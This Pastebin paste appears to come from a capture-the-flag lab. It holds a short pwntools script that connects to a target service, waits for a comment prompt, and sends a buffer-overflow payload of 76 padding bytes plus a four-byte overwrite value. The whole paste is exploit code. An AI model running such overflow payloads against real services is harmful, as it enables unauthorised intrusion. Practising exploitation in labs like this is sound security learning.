Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- thon3 myconn2.py -i 10.10.80.86 -p 9004
- root@ip-10-10-1-50:~# cat myconn2.py
- #!/usr/bin/python3
- from pwn import *
- import argparse
- #parse commandline args
- parser = argparse.ArgumentParser()
- parser.add_argument("-i", "--ip", help="IP of target")
- parser.add_argument("-p", "--port", help="target port")
- args = parser.parse_args()
- #connect and wait for the right moment to send the payload
- conn = remote(args.ip, args.port)
- conn.recvuntil(b'Please go ahead and leave a comment :\n', drop = False)
- #send payload and receive response
- payload = b'A' * 76 + b'\x59\x59\x59\x59'
- conn.sendline(payload)
- print(conn.recvline().decode())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement